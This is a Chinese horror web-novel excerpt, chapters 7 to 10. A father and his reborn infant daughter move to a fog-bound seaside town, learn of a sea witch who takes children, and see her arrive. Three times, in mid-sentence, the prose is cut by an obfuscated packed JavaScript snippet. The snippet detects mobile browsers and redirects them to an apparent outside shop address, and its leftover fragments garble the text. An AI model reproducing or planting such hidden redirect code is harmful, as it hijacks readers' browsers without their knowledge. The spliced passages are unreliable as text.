《惊悚片生存守则》 7. 搬家 埃弗莉本来以为,威斯特这一去,少说得要好几天。 她前世看过的恐怖片都是这样讲的:驱魔之前,主角首先需要翻阅典籍,从浩如烟海的文献中找到关于恶魔的情报,得到对方的真名;之后,是对驱魔现场一系列繁琐的布置,仪式中涉及的某些珍贵驱魔道具,可能还要主角们出生入死,经历一番险境才能到手;最后,若是主角自己能力不足,他们还得发动人脉,召集天南海北的其他驱魔人帮忙…… 谁知道,才第二天,她就从前来探病的房东口中听说,五月花公寓昨晚举办了驱魔仪式,在威斯特的操持下,仪式顺利完成,盘桓在公寓内的邪恶力量被成功封印。 “驱魔成功不是一件好事吗,怎么您看起来愁眉苦脸的?”谢利问。 房东叹了口气:“因为,驱魔虽然成功了,但住在公寓里的房客也死得差不多了。” “啊这……” “威斯特说,公寓里的邪恶存在一直在从住户的身上汲取生命力。他来得太晚,那些房客的生命已经差不多被吸空了,哪怕从外表上看和普通人毫无差别,他们的身体内部早就开始腐坏——就像坏了的罐头,别看外包装还完好,实则说不准什么时候就会‘嘭’一下炸开,把里头的东西炸得到处都是。” 房东的形容太过贴切,埃弗莉眼前不由划过一周前看见的那团烂肉。 如果当日没有那枚十字架,她和谢利说不定也会变成“坏罐头”的一员,无法逃离公寓,一点点被诡异力量吸食、蛀空,直到最后成为一具无知无觉的行尸走肉,突兀地死在某个阴暗处,引来人们的无尽唏嘘……想到这,埃弗莉没忍住打了个寒颤。 她才不要那样死掉! “那臭气呢?我在公寓外的死尸身上、还有公寓里面都闻到了很恶心的臭味,可其他人好像完全没感觉到。”谢利刨根问底。 房东闻言,用隐晦的目光满是同情地看了他一眼:“这说明你被污染了。304爆发的臭气是一切异常的开端,也许你是在臭气里呆了太久,不小心中招了吧。” “受口口口限制,那个东西——威斯特说,没事最好不要直呼它们的名字,以免招致祸患——对现实世界的口口是缓慢而隐秘的,在力量积蓄到一定程度前,它不会让自己的存在太过惹眼。比如公寓死亡的那些住户,他们的尸体其实早已经腐烂,可受到邪恶力量的影响,普通人收敛尸体时根本看不出异样。只有像你这样受到污染的人才能看到掩盖在表象下的真实,闻到那种挥之不去的恶臭。” “……”谢利显然回忆起了前不久在公寓的遭遇,脸色一时间非常难看。 “不过你也不用太担心,威斯特已经封印了那个东西,残留在你身上的污染随时间的推移会自行消散。如果你不放心,还可以去教会找牧师做一下净化,就是得稍微花那么一些‘奉献款’。”房东说。 谢利的脸垮了。 他没有钱。 米国的医疗费十分昂贵。谢利没有医保,之前从帮派械斗中拿到的赔偿款,在支付了这段时间他和埃弗莉的治疗费与住院费后,已所剩无几。剩下的一些钱,他还要付房租,买食物和冬天的厚衣服,买颜料和画笔,买埃弗莉的奶粉和尿不湿……总之,处处都要钱,他哪来的余力做什么净化! 房东想来也知道这点。 五月花公寓租金低廉,会住在那里的租客哪一个不是兜里没几个子儿的穷光蛋。 看到谢利眉头皱起,憔悴的脸上满是窘迫,房东叹了口气,安慰地拍了拍他的肩。 家家有本难念的经。谢利为生计发愁,至于他,驱魔仪式结束后,公寓里剩余的住户一下子死了大半,全都原地化作了飞灰,连根骨头都没剩下。仅有的几个幸存者也都出现了不同程度的器官衰竭,躺在地上哀嚎不止。身为公寓的拥有者,回去之后,也有好大一个烂摊子等着他收拾呢…… 想到这,房东没忍住又叹了口气。他考虑了一会儿,哑着嗓子同谢利说:“等你出院,如果还想回五月花公寓,就尽管回来。我可以免去你接下来一年的房租。” 房东难得这么有人情味,谢利感到十分感动。 房东离开后,剩余的住院时间,他托人买来大量报纸,一有空就在床上哗啦啦翻个不停。 就这么熬啊熬,终于熬到了伤愈出院那天。谢利揣着埃弗莉,打车回到一片萧条的五月花公寓。 他花了1小时克服恐惧走进公寓大门,花了10分钟艰难地爬楼梯来到他租住的404,又花了5分钟跑遍房间每一个角落,光速打包了诸如相片、银行卡、金银首饰之类的重要物品。 至于其他东西,不敢要,那是真不敢要了…… 从404出来,谢利将手中的门钥匙压在走廊盆栽下,把早就编辑好的退租信息发送给房东,然后便跟屁股后面有狗在追一样,忙不迭跑出公寓,扛着火车连夜前往了远在东部的雅利吉佛州。 此行的目的地是一个名叫普卡蒂的小镇。小镇位于雅利吉佛州最东侧。蜿蜒的海岸线在行经此处时被海底山脉一劈为二,密布的礁石群向外延伸,形成了一道高高耸立的海岬。 普卡蒂镇就位于这座突起的海岬上。 因为水下礁石密布,缺乏良港,普卡蒂镇的渔业并不发达。事实上,这里最初是因为深埋在地底的砂金而兴盛的。后来,由于过度开采,矿脉枯竭,淘金热褪去,曾经繁华无比的普卡蒂镇也随之衰落。如今,这里只剩下几百户居民在此长住。 对于向往城市繁华的年轻人而言,普卡蒂镇荒芜、落后又闭塞,是他们拼尽全力要逃离的地方。但对于囊中羞涩的落魄画家谢利来说,普卡蒂简直就是专门为他而生的灵感宝库。 人口稀少,远离都市,意味着此处的生活成本很低;往昔的繁荣,让此地拥有学校、教堂、医院、购物中心等大量基础设施,给生活提供了一定的便利;除此以外,无论是环绕小镇的茂密森林、笼罩小镇的迷离雾气、还是海面上矗立的废弃灯塔,都让身为画家的谢利灵感大作。 搬到小镇的第二天,他就迫不及待外出采买画板、颜料等工具,准备在此潜心绘画,创作出前无古人的惊世大作,从此飞黄腾达,成为世界闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566114|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名的大画家,走上人生巅峰。 ↑ 以上内容系埃弗莉对谢利面部表情的专业解读。 她和谢利的新家是一幢宽敞的小独栋,有一个种满了花草的小院,和一间充满艺术气息的玻璃温室。房东是一个名叫克里斯蒂娜的老太太。据她介绍,这幢房子之前是她的儿子儿媳在住。不久前,她的儿媳查出怀孕,夫妻俩搬去了生活更便利的州府马斯里市居住,这幢房子就空了下来。 “我年纪大了,平时也没有精力过来打扫,还不如把它租出去,房租收多收少无所谓,主要是怕房子闲置久了,因为疏于养护出现各种乱七八糟的问题。”克里斯蒂娜说。 谢利闻言好奇询问:“您的儿子儿媳要在马斯里市住很久吗?” “是的,很久。”听到问话,克里斯蒂娜脸上的笑有些僵硬,她垂下头,长叹了一口气,眼底浮现深深的落寞,“在孩子7岁前,估计他们不会回来的……” 谢利一听顿时安了心——至少六七年内,他不用担心被房东赶走了,这可真是个好消息。自觉捡了大便宜,他便也不吝啬对老妇人多说几句好话:“我了解了……感谢您的慷慨,我一定会爱惜这幢别墅的。以后您生活中有什么需要帮助的,也请不要客气。” “那我们以后就是邻居了。”老太太说。 租房的合同就这样签了下来。 房东家境优渥,出租房子的主要目的不是收租而是维持房屋的正常运转,所以租金十分低廉,家里的各种家具摆设也都能随意使用。 谢利带着埃弗莉在新家住了一晚,罗列了一下遇到的问题。次日上午,趁着阳光好,他便抱着埃弗莉出门购物了。 普卡蒂有一家购物中心,镇民们平时都在那里买东西。 购物中心面积很大,内部划分出了生鲜、食品、服装、生活用品等多个区域。谢利在购物中心里转了转,很快买齐了需要的绘画用具,还有填充冰箱的牛奶、面包、果酱等食物。 轮到购买埃弗莉的奶粉、尿不湿和冬衣时,谢利遇到了问题——他找不到婴儿用品区。 他推着满满当当的购物车,在偌大的商场里转了半天,终于找到一个身穿商场制服的工作人员,凑上前询问:“嘿,抱歉,我是新来的,对这里不太熟,请问哪里可以买到婴儿用品?” “哦,您好。”工作人员放下手里的东西,转过身,目光飞快将谢利和推车篮子里的埃弗莉从上至下扫视了一遍,眼底浮现一抹了悟,“我想您一定是谢利先生。” 谢利有些惊讶:“你知道我?” 工作人员笑了笑:“是的,毕竟普卡蒂是个小地方,任何消息都会传得很快……您要找婴儿用品对吗?那您恐怕得去隔壁凯特镇采购了,因为这里没有婴儿用品出售。” “什么?” “购物中心不售卖婴儿用品。”工作人员把话重复了一遍。说完,她左右观察了一番,见周围没人,便压低声音,小心提醒说:“您带着孩子,最好也不要在这里久留。” “对孩子而言,这里可不是什么好地方……” 8. 女妖 “对孩子而言,这里不是什么好地方……” 女员工的话听得谢利满脑门问号,他张嘴正待追问,斜刺里忽然响起一个粗犷的男声:“查莉,查莉!你在哪里,快过来搭把手!” “来了!”名叫查莉的女员工踮起脚尖,朝声音来的方向大喊回应。喊完,她转头朝谢利做了个抱歉的手势,“店长有事找我……那么,下次再见了。” 说完,不等谢利回复,她便火急火燎地穿过货架,跑没了影。 “……” “离谱,简直离谱!果然是小地方,不仅商品少得可怜,还编谎话吓唬顾客!”女店员走后,谢利推着购物车,一边在购物中心穿行,一边不断低声咒骂。 他觉得查莉是在说谎。 什么“此地不宜久留”、“小镇对孩子不好”,一听就是假的,绝对是那个店员为了掩盖购物中心商品品类不全而扯的鬼话。谢利听人提到过,越是偏远的小地方,居民的自尊心和集体荣誉感反而越高,在外来者指出某处缺点时,就很容易出现这种应激排外的情况。 亏他之前还对普卡蒂小镇赞不绝口,觉得此处是一个民风淳朴,景色优美的好地方,现在看来,景色美归美,民风怎么样显然得打个折扣! 坐在购物车篮子里的埃弗莉对此有不同看法。 她觉得查莉的态度很和善,说话也很真诚,看起来不像在说谎……可若是女店员的劝告为真,不就说明普卡蒂小镇确实存在某些危险,不适合她生活吗? 感觉后者更加让人难以接受哎…… 小婴儿嘬着指头想了又想,最后双手一摊,决定放弃。她年纪实在太小了,连话都不会说呢,这个小镇安全也好,危险也罢,有资格决定去留的始终只有蠢爹谢利。 她能做的,只有睁大眼睛,仔细观察而已。 …… 谢利满腹怨言地在购物中心柜台结了账。 手里的东西太多,他腿脚不便,就先带着买到的东西回了一趟家,然后抱着埃弗莉一路打听,去了小镇里另外两家规模较小的商店,希望能买到埃弗莉能用的东西。 然而—— “婴儿用品吗?很抱歉,我们这里不卖这个。” “您还是开车去凯特镇买吧,只有那里才能买到您要的商品。” 听说他要买奶粉等物,店老板们纷纷摇头,表示小店不售卖婴儿用品。 谢利大为失望,他抱着埃弗莉,转过身刚要离开,其中一位店主忽然叫住了他:“先生,您去过小镇的历史博物馆吗?” 谢利脚步一顿:“没去过……这个小镇还有历史博物馆吗?” “是的,博物馆就在小镇中央,全天免费开放。去看看吧,能帮您了解到很多小镇的历史和禁忌——比如,您听说过吗,大雾天千万不能把孩子带到外面什么的。” “克里斯蒂娜夫人跟我提过——‘不要带孩子去海边,不要在雾天带孩子出门,不能在雾中晾晒孩子的衣物,别让孩子照射到灯塔的光’,是不是这四条?” “没错,您记性真好。那您知道这些禁忌的由来吗?” 谢利不知道,但他会猜:“不带孩子去海边,能防止孩子溺水。至于雾气相关的两条——我在网上查过,普卡蒂是开采砂金起家的,采矿肯定会带来污染,不让在雾天晾衣服和带孩子出门,应该是当时的雾气里包含了一些有毒物质,担心伤害到孩子的身体。最后一条嘛——嘿,灯塔不是用来给航船指引方向的吗,它的光怎么可能照向陆地?” 说到这,谢利自觉讲了个十分有趣的笑话,自顾自笑了起来。 店主也笑了:“您说得不对。普卡蒂的雾气从海上来,成分很干净,不存在您所说的污染。” “那为什么不准在雾天外出?” “具体原因您去了博物馆就知道了……记住,在普卡蒂生活,一定要坚守这四条禁忌,切记切记!”说至最后,店主缓慢收起笑容,脸上表情一派严肃。 谢利被他前后迥异的态度搞得有些懵。 胡乱点了点头,他带着埃弗莉快步离开了商店。 奔波了一上午,谢利感觉有些累。小镇的中心开着这里唯二的两家餐馆,谢利不想回家做饭,就破费了一次,抱着埃弗莉在其中一家餐馆吃了午饭。 饭后消食时,想起店主提到的博物馆,谢利决定去那里看看——作为一名艺术家,他总是需要从各种稀奇古怪的东西里汲取灵感,也许这个普卡蒂历史博物馆能带给他惊喜也说不定。 小镇不大,博物馆很好找。它就位于镇中央的镇政府大楼一楼,是单独开辟出的一个小展厅。展厅里灯光明亮,贴墙摆放着竖横竖三条展柜。除了展品,展厅里连一个工作人员的影子都看不到。 看到所谓的“博物馆”这么小,谢利本来没报什么希望,没想到,历史博物馆里的东西意外的有意思。 进门左手边的第一条展柜,摆放的是一份族谱、几张画像、一把矿镐、一堆暗金色的沙砾状矿石和一枚奖章。展柜上方的墙壁上用花体字雕刻着有关这些展品的故事。 埃弗莉识字,但英文水平有限。好在谢利有边看边念的习惯,让她连蒙带猜,了解到了故事的大概—— 几百年前,1783年的某天,一个叫索克迪斯·尼古洛·普洛斯的人从梦中醒来。他神采飞扬,满脸欣喜地告诉众人,他在睡梦中登上一条螺旋向上的金色阶梯,于顶端得到了神的指引。神告诉他,往东边去,在一片荒芜的口口口处(埃弗莉没听懂),深埋着他所追求的财富。 索克迪斯于是召集了一批伙伴,跋山涉水,翻山越岭,终于来到了神所指引的地方。他提起矿镐凿开岩石,岩层下出现了一捧代表财富的砂金……金矿的出现吸引了大批淘金客光顾,人群聚集之处,逐渐出现了普卡蒂镇的雏形。而索克迪斯,则顺理成章成了普卡蒂镇的第一任镇长。 1796年,在众人持续不断的开采下,第一条砂金矿宣告枯竭。索克迪斯在镇中大摆祭坛,自己担任主祭,举办了盛大的口口口仪式,向神明祈祷。神明回应了他的祈求,通过预知梦,索克迪斯又先后从小镇周边发掘出三条新的矿脉,延续了小镇的繁荣。 时间跳到1802年,这年的7月13日,深夜,索克迪斯满头大汗从睡梦中惊醒。他告诉周围人,口口口矿井即将塌陷,让卫队即刻封锁那条矿洞。次日清晨,该矿井果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566115|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然因地质结构不稳发生了垮塌,幸存的人们围聚在索克迪斯身旁,唤他伟大的先知,慈爱的父亲,地上行走的神明代行者。镇政府由此颁发了索克迪斯特殊贡献奖章。 第一展柜的故事到此结束。 展柜中的族谱、画像和奖章属于索克迪斯。矿镐是当年开凿出第一条砂金矿的那把,极富纪念意义。至于那堆金色的沙砾,则是未经加工的砂金矿石。 转到第二排展柜,里面的东西更富有奇幻色彩。 摆在最前方的是几张本地报刊的剪报,剪报上印刷着老旧的黑白照片,和一系列耸人听闻的标题——“年仅2岁的幼童从家中消失,现场门窗紧闭无入侵痕迹”、“又一起儿童失踪案,是谁偷走了我们的孩子!”、“镇长爱女梅莉失踪,镇长夫人当众晕倒!”…… 谢利将展品匆匆一扫,仰头去念墙上的文字: “1821年,一位妇人到警局报案,她2岁的小儿子从家中离奇失踪……新到任的警长帕蒂亚接手了案件,他调查之后,震惊地发现,从小镇建立之日起,每年都会有数名儿童下落不明,到了1815年往后,失踪情况越发严重……” “儿童失踪的情况越演越烈,当镇长阿奇里斯心爱的女儿也成为受害者时,镇民们出奇愤怒了。镇长怀着悲痛的心情,让镇民把他们的孩子藏进地窖,只留他唯一的小儿子雷利在外面做诱饵。经过漫长的等待,终于,失踪案的元凶——邪恶的海中女妖露面了。” 埃弗莉竖着耳朵,一边听老爹念稿子,一边低头看展品。 剪报后面摆放了三幅油画。第一幅油画画了一个人身蛇尾,面目狰狞的女妖,她盘踞在高高的白骨山上,唇边沾着血液,怀里抱着一个满身伤痕的死婴,想来就是故事里所说的“海中女妖”了。 “……镇长阿奇里斯·尼古洛·洛普斯的正直与无私感动了神明。一名强大的驱魔人闻讯赶来,加入了战斗。在镇长与驱魔人的带领下,镇民们与女妖进行了殊死搏斗。战斗持续了三天三夜,女妖的血染红了大海,经过艰苦卓绝的拼杀,镇民们成功杀死了女妖,将她口口口之后,秘密封印……” 紧随海中女妖的第二、第三幅油画,浓墨重彩,笔触厚重,细致描绘了“镇民与女妖搏杀”、“女妖被切成几块,鲜血染红海洋”两个画面。 看到第三幅,埃弗莉恍悟,原来那句她没听懂的口口口是“肢解”、“分尸”的意思。真好呢,今天也是收获满满的一天,又学会了一个新单词:) 她将充满兴味的目光投向最后一件展品:一片硬币大小的青黑色鳞片。 那也是她觉得全场最扯淡的展品。它底部放着标签,上面是这样介绍的:“海中女妖的尾鳞——由英勇的镇民罗萨·史密斯捐献”。既有来历又有捐献人,看上去真真的,好像真有个偷孩子吃的海中女妖跟镇民们殊死搏斗过,把一个普普通通的民间传说一下子抬到了“根据真实事件改编”的高度。 可现实世界怎么可能有女妖呢……额、等等,好像还真可能有! 想起自己经历过的几次灵异事件,埃弗莉脸上的笑猛地僵住。 她怎么忘了,这是个万事皆可能的奇特世界啊! 9. 女妖 埃弗莉越想越觉得女妖可能真的存在。 类比一下,如果这是一部恐怖电影,那她和父亲谢利就是迟钝又酷爱作死的主角。无数的提示与线索都喂到嘴边了,还觉得周围人是在开玩笑,无知无觉,对潜藏的危险视而不见,甚至还会反向作死,看得屏幕外的观众又气又急,放下碗直骂主角是猪。 她怀疑自己勘破了真相。然而,可悲的是,即使她察觉到异样,也对情况产生不了任何影响,因为她不会说话……啊啊啊,可恶,她回去一定勤加练习,非要把这条不听话的舌头捋直不可! 谢利猪听不到埃弗莉激烈起伏的心理活动。 他把展厅里讲述的一切都简单地看成一个故事。第二展柜的故事看完,他已经举步往第三展柜走去了。 埃弗莉见状赶忙收敛心神,把注意力放回展品上。 第三展柜紧接第二展柜的故事进行。 杀死女妖后不久,普卡蒂镇最后一条砂金矿宣告枯竭。大量的淘金客见无利可图,纷纷收拾行囊离开了普卡蒂,前往机会更多的西部淘金。一夕之间,普卡蒂镇门庭冷落,再不复往日的车水马龙,人声鼎沸。 定居在此的居民们不愿接受现实。他们找到镇长阿奇里斯——他是上任镇长索克迪斯的后代——希望阿奇里斯能像25年前一样,举办口口口仪式,唤回神明的眷宠,让普卡蒂重现昔日的荣光。 但阿奇里斯拒绝了他们。 “不行,我办不到……人类不该祈求不属于他们的力量,这会让我们坠入深渊。”他说。 阿奇里斯在与女妖的对决中失去了仅有的两个孩子。他陷入了悲痛与自责,不再热心镇中事务,人也变得无比消极。或许正因此,当镇民们在一位狂热的信徒煽动下,在口口秘密搭建祭台,准备口口口仪式时,他没有及时发觉。 仪式由那位名叫麦考夫的狂信徒主持。他满怀雄心,认为自己对神的虔诚与忠诚绝不输给索克迪斯,既然索克迪斯能得到神明的偏爱,他一定也能! 然而,不知道出现了什么问题,仪式失败了。 发现一切的阿奇里斯愤怒不已,他立刻着人封锁了仪式现场,严令禁止镇民再次举办口口口仪式。阿奇里斯的铁腕手段引起了镇民的不满,小镇的萧条让他们生活水平一落千丈,关键时刻,他们寄予厚望的镇政府却没有给出满意的答卷!麦考夫仍在煽风点火,他认为阿奇里斯此举旨在将“先知”能力垄断在洛普斯家族……矛盾累积到一定程度,终于彻底爆发了。在争执中,有人失手误杀了阿奇里斯。 洛普斯家人丁单薄,阿奇里斯一死,洛普斯家族的血脉就此在普卡蒂断绝。为了砂金矿,镇民们只能将希望全部寄托在了口口口仪式上。之后几年,普卡蒂镇又先后举办了数次仪式,可当年的索克迪斯也许隐瞒了一些事情,没有洛普斯家的人参与,无论举办几次,人们始终没能获得新的“先知”。 更糟的是,海中女妖回来了。 她出现在冰冷的海水中,出现在漆黑的礁石丛,出现在笼罩小镇的迷雾里。灯塔的光是她的眼睛,海水与雾气是她伸展的触肢。她的身影所过之处,无数的家庭就此破碎,永远失去了他们的孩子……海中女妖的回归让越来越多镇民收拾行囊,离开了普卡蒂。剩下的人没有放弃,尝试组织力量击杀女妖。然而,没有驱魔人的协助,他们连女妖的巢穴都找不到。 “浪潮翻涌,有雾将至,海妖携子,永不复归……”①,这是当时在普卡蒂流传甚久的诗歌。 以无数鲜血与泪水为代价,在同女妖漫长的对抗与周旋中,普卡蒂小镇的镇民终于总结出了四条禁令:不要带孩子去海边,不要在雾天将孩子带出门,不能在雾中晾晒孩子的衣物,别让孩子照射到灯塔的光。家中儿童在7岁以下的家庭,都需要严格遵守禁令,否则就可能失去他们的孩子。 普卡蒂的人们就这样与海中女妖共存至今。 …… 第三展柜的展品与墙上的故事对应。摆在展柜最前面的,是几份描写金矿枯竭、小镇衰败的报纸。然后是一张黑白照,照片里,一个二十余岁的瘦削年轻人正站在高台上,高举双手朝下面说着什么,高台下围了一圈听众,个个如痴如醉——这应该是麦考夫的演讲现场照。照片后面,明晃晃陈列着那把杀死了阿奇里斯的匕首,锈迹斑斑,乍一看就像血痕还没擦干。再往后,是一张儿童的寻人启事,和一块雕刻有诗歌与四条禁令的石板。 那块石板就是博物馆里最后一件展品。 “‘浪潮翻涌,有雾将至,海妖携子,永不复归’……多有意境的诗歌啊!来这里果然是对的,我现在满脑子都是灵感!”谢利没有嗅到禁令后隐藏的危险。他的全副心神都被那首古老的诗歌吸引了,嘴里翻来覆去地念诵,越念眼睛越亮,苍白的两颊逐渐泛起兴奋的红晕。 强烈的创作欲望从心底腾起。没有再在镇中心停留,他抱着埃弗莉离开博物馆,匆匆忙忙回到家,随便找了个地方把小婴儿那么一放,就抱着画纸和颜料等物一头扎进了他的新画室里。 谢利这种全身心沉迷绘画的狂热状态,足足持续了半个月。 这半个月里,除了吃饭睡觉和喂小宝宝,他所有的时间都花在了画画上,对外界的一切纷扰与喧嚣充耳不闻。 和没心没肺的渣爹不一样,先后经历过镇民的警告和博物馆中的故事铺垫,埃弗莉此时已经认定海中女妖确有其事。因此,她每天都会警醒地透过紧锁的玻璃窗观测外面的天气。 普卡蒂镇位于海边,受地形影响,每当海风吹起的时候,潮湿的空气顺着海岬一路向上,在到达顶端的普卡蒂时遇冷凝结,便会形成笼罩小镇的厚重白雾。 雾天在这里很常见。半个月的时间,浓雾一共降临了三次。 幸运的是,因为谢利一直在画画,没有空管她。所以这三次大雾,她都窝在室内的大床上,平平安安度过了。 可惜幸运女神不会永远站在埃弗莉身侧。 半个月后的某天清晨,当谢利打开奶粉罐子,想同往常那样给埃弗莉冲一杯冰冰爽透心凉的冷泡奶时,他发现奶粉见底了。 因为普卡蒂镇没有售卖婴儿用品的店铺,上一次采购,谢利没能补充埃弗莉的口粮。之后,他又被博物馆的女妖故事所吸引,全心投入到绘画创作中,一时疏忽,居然直到奶粉喝完他才发现! 最近的“奶源地”在隔壁凯特镇,开车往返要半天。想着出去一次不容易,刚好冬天也快到了,除了奶粉和尿布,谢利决定再给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566116|186983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埃弗莉买几身厚实的婴儿服。 买衣服得把小宝宝一起带去,谢利可没有用眼睛丈量尺寸的能力!于是,躺床上“啊啊”练习着说话的埃弗莉没等到奶瓶,等到了渣爹的拥抱。 “唔,好臭!” 因谢利的忽视,埃弗莉已经半个月没有洗澡了。拿近之后,谢利闻到一股异味从鼻端飘过,他嫌弃地皱起了眉。 “要带出去见人,得先把你洗干净,免得他们说我虐待儿童……”口中咕哝着,谢利一把抄起埃弗莉,在浴室手法粗暴地给小婴儿打了香波,上下搓洗了一番。看到从女儿身上换下的脏衣服,为图省事,洗人的同时,他还顺手把脏衣服也扔进盆里,胡乱拧了几下。 洗完澡,头发擦擦,再套上柜子里的干净衣服,埃弗莉又变成一个九成新的小宝宝了。 从浴室出来,谢利去院子里晾衣服,埃弗莉则被留在沙发上暂时放置。她身体前倾,“啊啊”叫着往外面不停伸手—— 别,不要啊!虽然外面天气晴朗,看上去是个大晴天,可她总有种不妙的预感……住手吧渣爹,衣服晾在家不好吗,别把她衣服挂在外面呀! 谢利没听懂埃弗莉的婴言婴语。 他还惦记着画室里未完成的画作。晾晒完衣服,看埃弗莉头发已经干了,他便迫不及待去镇中心花钱叫了车,带着埃弗莉去了凯特镇。 这一趟去得比预想的久。路上遇见修路,绕了很大一圈,等采购完从隔壁镇回来,时间已经接近傍晚。 车辆开过斜坡,驶上普卡蒂镇冷清的街道。透过建筑的空隙,埃弗莉看到天边挂着绚烂的晚霞,艳丽的火烧云点燃了大半片天。 看起来今天普卡蒂镇一整天都是晴天。 埃弗莉悬着的心稍稍落下。 但她还不敢完全放松,因为她的婴儿服还晾在院子里。没亲眼看到谢利把它收起来,她是不会完全安心的。 她默默等待着,终于,“吱——!”一声响,汽车停在了家门口。 谢利付了车费,让司机在原地等他一会儿,他先起身抱了埃弗莉回家。当两人经过院中的晾衣架,埃弗莉瞅准机会,左手抬起一把捏住谢利脸颊的软肉,另一手直直指向架子上的衣服,身体探出,嘴里发出一阵急切的“科……科科……”。 她想说的其实是“clothes”,但这个单词对刚满六个月的小婴儿而言,发音实在太复杂太绕了。好在她的努力没有白费。被女儿突如其来的异常举动所吸引,谢利顺着看过去,很快看到了挂在架子上的衣服。 “对哦,该收衣服了。” 她听到他说。 埃弗莉心中一喜。不用谢利安抚,她自觉地松开了折磨渣爹的手,缩回到谢利的怀抱里,任他将她抱到沙发放下,然后折返回汽车,搬运此次采购的婴儿用品。 东西全拿完,埃弗莉期待地看向谢利,眼巴巴等他出去院子里收衣服。 结果渣爹在让人失望这方面是一点也不让人失望——只是拿个东西的工夫,他就忘记了这回事! 他弯腰抄起“科科”个不停的女儿,把埃弗莉带到卧室,又拿凉水冲了一瓶奶塞进女儿手里当晚饭。安置完毕,谢利就心无旁骛地转身去了画室。 “……” 10. 女妖 埃弗莉当晚又尝试了好几次,又是抓谢利的脸,又是对他喊“科科”,试图唤起渣爹对衣服的记忆。 可惜谢利和她毫无默契。她抓谢利脸,谢利拍掉她手不让继续;她“科科”乱喊,谢利以为她嘴巴疼,掰开她嘴检查口腔;她伸出手仙人指路,谢利惊讶鼓掌,然后拿出手机拍她的糗照…… 一通折腾下来,埃弗莉都给整没脾气了。 小婴儿的精力有限,在床上闹了这一阵,埃弗莉逐渐感到眼皮打架,困意席卷。谢利也早就困了,看女儿眼睛半阖,昏昏欲睡,他揽过被子,抬手关灯,没一会儿就在旁边打起了呼。 好吧,好吧……谢利那么懒,就算现在把他喊醒,他也不会大晚上出门收衣服的。等明天再提醒他算了,希望明天不要有雾…… 埃弗莉闭上眼,在越发强烈的困倦中沉沉睡去。 …… 睁开眼,埃弗莉第一时间看向窗外。 透过窗玻璃,看到外面明媚的阳光,她松了一口气——今天依旧是晴天。 谢利已经起来了。听到卧室的动静,他匆匆走进房间,给埃弗莉换了尿布,把小婴儿抱到客厅沙发上放着,再往她手里放个奶瓶,就转身离开了。 期间,埃弗莉疯狂挣扎,手指抽风一样不停往院子的方向指指指,谢利却觉得她这是在好奇斜照进屋子的阳光,连看都没往院子里看一眼。 晚上亦是如此。 埃弗莉吐血发誓,她已经想尽一切方法,使尽浑身解数。她觉得,蠢蛋谢利就像横亘在她人生道路上一座无法翻越的高山,无论她怎样努力,也找不到攻克的方法。 又过了一夜,第三天,阴天。 好消息是没有起雾,坏消息则是,谢利依旧没想起来收衣服。 埃弗莉知道,以普卡蒂镇的起雾频率,雾天早晚会来——事实上,看今天的风向,不是明天就是后天,这里就要起雾了。剩下的时间不多了,如果谢利不能在大雾降下前收起婴儿服,她就得做好直面海中女妖的准备。 因为这个认知,埃弗莉情绪越发焦躁,晚上翻来覆去,醒了好几次。 第四天清早睁开眼,不祥的预感成真,透过窗玻璃,埃弗莉看到天地一片白茫茫。 雾来了。 普卡蒂的雾气总是凝实、厚重又浓稠的,让人联想到层层堆叠的纱幔,和一锅打翻的奶油浓汤。埃弗莉呆呆坐在客厅沙发上,双眼紧盯院子里的晾衣架,像一个即将行刑的死囚,安静等待着铡刀落下的那刻。 等着等着,不知什么时候,院子里起了一阵风。乳白的雾气被风驱赶,蛇一样顺着杆子盘绕而上,包裹住上方的粉色婴儿服。“吱呀”,埃弗莉看到衣服突兀地前后摇晃了一下,然后“唰”的一声,从杆子上脱落。 埃弗莉的心重重跳了一下。 角度问题,婴儿服落到地上后就从埃弗莉视野范围消失了。取而代之,她看到院中的植物一阵颤动,枯黄的叶片“沙沙”响着,迅速倒伏向两侧,那样子就好像有什么东西在里面爬行一般。 “沙沙”声由远及近,爬行的轨迹穿过大半的院子,最后停留在客厅的推拉门前。门口的花丛剧烈颤抖着,一阵强过一阵,直至最后,只听“啪!”一声响,一张死人般惨白的脸贴在了玻璃上—— 那是一个女人,上身赤果,长发及臀,大半张脸隐藏在浓密的黑发下,看不清长什么样。她的皮肤湿漉漉的,肿胀发青,让人联想到在水中浸泡了好几天的尸体,透着股浓烈的死气。横亘在她四肢和躯体上的伤疤,像一条条黑色的蜈蚣,为女人的形象平添了几分狰狞。 但这些都不及她的眼神恐怖。 